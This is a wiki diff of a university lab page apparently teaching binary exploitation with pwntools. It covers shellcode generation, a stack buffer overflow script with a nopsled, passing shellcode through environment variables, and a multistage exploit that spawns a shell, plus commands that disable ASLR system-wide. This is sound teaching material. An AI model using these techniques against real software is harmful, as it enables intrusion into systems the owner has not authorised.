Differences

This shows you the differences between two versions of the page.

Link to this comparison view

cns:labs:lab-05 [2020/11/08 20:12]
dennis.plosceanu [2. Multistage exploit]
cns:labs:lab-05 [2022/11/07 14:44] (current)
mihai.dumitru2201 [Tasks]
Line 10: Line 10:
   * Disable it for a newly spawned shell (and subsequent processes):<​code bash>   * Disable it for a newly spawned shell (and subsequent processes):<​code bash>
 setarch i386 -R /bin/bash setarch i386 -R /bin/bash
-</​code>​ +</​code>​\\ You can re-enable it by quitting the shell (such as using the ''​exit''​ command or the ''​Ctrl+d''​ shortcut).
-    * You can re-enable it by quitting the shell (such as using the ''​exit''​ command or the ''​Ctrl+d''​ shortcut).+
   * Disable it system-wide:<​code bash>   * Disable it system-wide:<​code bash>
 echo 0 | sudo tee /​proc/​sys/​kernel/​randomize_va_space echo 0 | sudo tee /​proc/​sys/​kernel/​randomize_va_space
 </​code>​ </​code>​
 +
     * You can re-enable it system-wide:<​code bash>     * You can re-enable it system-wide:<​code bash>
-echo | sudo tee /​proc/​sys/​kernel/​randomize_va_space+echo | sudo tee /​proc/​sys/​kernel/​randomize_va_space
 </​code>​ </​code>​
 </​note>​ </​note>​
Line 40: Line 40:
 </​code>​ </​code>​
  
-We can send and receive data from a local or remote process via ''​send'',​ ''​sendline'',​ ''​recv'',​ ''​recvline''​ and ''​recvuntil''​.+We can send and receive data from a local or remote process via ''​send'',​ ''​sendline'',​ ''​recv'',​ ''​recvline'',​ ''​recvlines''​ and ''​recvuntil''​.
  
 Let's construct a complete example in which we interact with a local process. Let's construct a complete example in which we interact with a local process.
Line 79: Line 79:
 result = io.recvline() result = io.recvline()
  
-print "Got: " + result+print(b"Got: " + result)
  
 io.interactive() io.interactive()
Line 115: Line 115:
  
     # Parse the result     # Parse the result
-    leaked_char = result.split('​go:​ '​)[1].split('​ '​)[1].split('​\n'​)[0]+    leaked_char = result.split(b'go: '​)[1].split(b' '​)[1].split(b'​\n'​)[0]
     return leaked_char     return leaked_char
  
Line 123: Line 123:
  
 for i in range(-10,​0):​ for i in range(-10,​0):​
-    flag += leak_char(i)+    flag += leak_char(i).decode("​utf-8"​)
  
-print "The flag is: " + flag+print("The flag is: " + flag)
 io.close() io.close()
 </​code>​ </​code>​
Line 153: Line 153:
     # Here you go\n     # Here you go\n
     result = io.recvline()     result = io.recvline()
-    log.info("​Got back raw response: " ​result)+    log.info("​Got back raw response: ​{}".format(result))
  
     # Parse the result     # Parse the result
-    leaked_char = result.split('​go:​ '​)[1].split('​ '​)[1].split('​\n'​)[0] +    leaked_char = result.split(b'go: '​)[1].split(b' '​)[1].split(b'​\n'​)[0] 
-    log.info("​Parsed char: " ​leaked_char)+    log.info("​Parsed char: {}".format(leaked_char))
     return leaked_char     return leaked_char
 </​code>​ </​code>​
Line 239: Line 239:
     f.write(e.get_data())     f.write(e.get_data())
 </​code>​ </​code>​
 +
 +<note tip>
 +This will result in a binary named ''​test_shell''​ which executes the necessary assembly code to spawn a shell.
 +
 +<​code>​
 +$ chmod u+x test_shell
 +$ ./​test_shell
 +</​code>​
 +
 +</​note>​
  
 ==== Shellcode generation ==== ==== Shellcode generation ====
Line 245: Line 255:
  
 <code asm> <code asm>
-print shellcraft.read(0,​ 0xffffeeb0, 20) # Construct a shellcode which reads from stdin to a buffer on the stack 20 bytes+print(shellcraft.read(0,​ 0xffffeeb0, 20)) # Construct a shellcode which reads from stdin to a buffer on the stack 20 bytes
     /* call read(0, 0xffffeeb0, 0x14) */     /* call read(0, 0xffffeeb0, 0x14) */
     push (SYS_read) /* 3 */     push (SYS_read) /* 3 */
Line 260: Line 270:
  
 <code asm> <code asm>
-print shellcraft.arm.read(0,​ 0xffffeeb0, 20)+print(shellcraft.arm.read(0,​ 0xffffeeb0, 20))
     /* call read(0, 4294962864, 20) */     /* call read(0, 4294962864, 20) */
     eor  r0, r0 /* 0 (#0) */     eor  r0, r0 /* 0 (#0) */
Line 269: Line 279:
     svc  0     svc  0
  
-print shellcraft.mips.read(0,​ 0xffffeeb0, 20)+print(shellcraft.mips.read(0,​ 0xffffeeb0, 20))
     /* call read(0, 0xffffeeb0, 0x14) */     /* call read(0, 0xffffeeb0, 0x14) */
     slti $a0, $zero, 0xFFFF /* $a0 = 0 */     slti $a0, $zero, 0xFFFF /* $a0 = 0 */
Line 281: Line 291:
  
 These shellcodes can be directly assembled using ''​asm''​ inside your script, and given to the exploited process via the ''​send*''​ functions. These shellcodes can be directly assembled using ''​asm''​ inside your script, and given to the exploited process via the ''​send*''​ functions.
 +
 +<code asm>
 +  shellcode = asm('''​
 +       mov rdi, 0
 +       mov rax, 60
 +       ​syscall
 +''',​ arch = '​amd64'​)
 + </​code>​
 +
 +<note tip>Most of the time you'll be working with as specific vulnerable program. To avoid specifing architecture for the ''​asm''​ function or to ''​shellcraft''​ you can define the context at the start of the script which will imply the architecture from the binary header.
 +
 +<code python>
 +context.binary = '​./​vuln_program'​
 +  ​
 +shellcode = asm('''​
 +       mov rdi, 0
 +       mov rax, 60
 +       ​syscall
 +'''​)
 +print(shellcraft.sh())
 + </​code>​
 +
 +</​note>​
  
 ==== GDB integration ==== ==== GDB integration ====
Line 286: Line 319:
 Most importantly,​ ''​pwntools''​ provides GDB integration,​ which is extremely useful. Most importantly,​ ''​pwntools''​ provides GDB integration,​ which is extremely useful.
  
-Let's follow an example using the vulnerable binary from [[:cns:​labs:​lab-06#​phase_1recon|lab 06]]:+Let's follow an example using the vulnerable binary from the [[cns:​labs:​lab-04|]] tutorial.
  
 <code python> <code python>
Line 292: Line 325:
 from pwn import * from pwn import *
  
-ret_offset = 68 +ret_offset = 72 
-buf_addr = 0xffffcee8+buf_addr = 0x7fffffffd710
 ret_address = buf_addr+ret_offset+16 ret_address = buf_addr+ret_offset+16
-payload = ''​ 
  
-p = process('vuln')+# This sets several relevant things in the context (such as endianess,​ 
 +# architecture etc.), based on the given binary'​s properties. 
 +# We could also set them manually: 
 +# context.arch = "​amd64"​ 
 +context.binary = "​vuln"​ 
 +p = process("vuln") 
  
 +payload = b""​
 # Garbage # Garbage
-payload += ret_offset * 'A'+payload += ret_offset * b"A"
  
 # Overwrite ret_address,​ taking endianness into account # Overwrite ret_address,​ taking endianness into account
-payload += p32(ret_address)+payload += pack(ret_address)
  
 # Add nopsled # Add nopsled
-nops = '​\x90'​*100+nops = asm("​nop"​)*100
  
-# Alternative:​ asm('​nop'​),​ but the above is simpler and faster 
 payload += nops payload += nops
  
Line 360: Line 398:
  
 All content necessary for the CNS laboratory tasks can be found in [[cns:​resources:​repo|the CNS public repository]]. ​ All content necessary for the CNS laboratory tasks can be found in [[cns:​resources:​repo|the CNS public repository]]. ​
- 
  
 ==== 1. Passing shellcode through the environment ​ ==== ==== 1. Passing shellcode through the environment ​ ====
Line 380: Line 417:
 Env var addr 0xfffdd1e7 Env var addr 0xfffdd1e7
 </​code>​ </​code>​
 +
 +<note tip>You can also use pwntools to pass the env var:
 +<code python>
 +from pwn import *
 +p = process(['​./​getenv',​ '​A'​],​ env={'​A':​ shellcode})
 +print(p.recvline())
 +</​code>​
 +
 +This way you can do the whole exploit with a python script:
 +  - run ''​getenv''​ to leak the address
 +  - parse the output of ''​getenv'' ​
 +  - build the payload and send to ''​vuln''​
 +</​note>​
  
 This is the address at which you will return to. This is the address at which you will return to.
Line 395: Line 445:
  
 You can use the leak to return exactly to the start of your buffer in order to use all of our available 20 bytes. Use them to call ''​read(0,​ buf+return_offset,​ 200)''​. Write a small shellcode which does this. Check using peda if the ''​read''​ is being called i.e. the program enters a blocked state in which it awaits input. You can use the leak to return exactly to the start of your buffer in order to use all of our available 20 bytes. Use them to call ''​read(0,​ buf+return_offset,​ 200)''​. Write a small shellcode which does this. Check using peda if the ''​read''​ is being called i.e. the program enters a blocked state in which it awaits input.
 +
 +<note tip> The padding ''​nops''​ added in ''​skel.py''​ will make sure that the second shellcode will flow from the first without additional jumps </​note>​
  
 === c. Construct the second stage  === === c. Construct the second stage  ===
Line 405: Line 457:
  
 <note tip> <note tip>
-In order to get ''/​bin/​sh''​ onto the stack, your shellcode ​should ​look something like this: +This stage can be solved in different ways: 
-<code asm>+ 
 +  * If you want to avoid jumping you can add ''/​bin/​sh''​ at the end of the shellcode, the compute the sring address based on shellcode size 
 +  * In order to get ''/​bin/​sh''​ onto the stack, your shellcode ​could look something like this: \\ <code asm>
 jmp <​offset>​ ; determine through trial and error jmp <​offset>​ ; determine through trial and error
-'/​bin/​sh'\0+'/​bin/​sh\0'
 ; code continues here ; code continues here
-</​code>​ +</​code> ​\\ This will effectively jump over the ''/​bin/​sh''​ string on the stack, which you can then use for your shellcode. Without this initial **jmp** instruction,​ the string will be interpreted as instructions!
- +
-This will effectively jump over the ''/​bin/​sh''​ string on the stack, which you can then use for your shellcode. Without this initial **jmp** instruction,​ the string will be interpreted as instructions!+
  
-The "''​call''​ before defining a string"​ trick from the last session to get ''/​bin/​sh''​ onto the stack might not work because it will probably overlap with the current stack (the ''​call''​ and ''​pop''​ instruction might overwrite the shellcode).+  * The "''​call''​ before defining a string"​ trick from the last session to get ''/​bin/​sh''​ onto the stack might not work because it will probably overlap with the current stack (the ''​call''​ and ''​pop''​ instruction might overwrite the shellcode).
 </​note>​ </​note>​
  
cns/labs/lab-05.1604859156.txt.gz · Last modified: 2020/11/08 20:12 by dennis.plosceanu
CC Attribution-Share Alike 3.0 Unported
www.chimeric.de Valid CSS Driven by DokuWiki do yourself a favour and use a real browser - get firefox!! Recent changes RSS feed Valid XHTML 1.0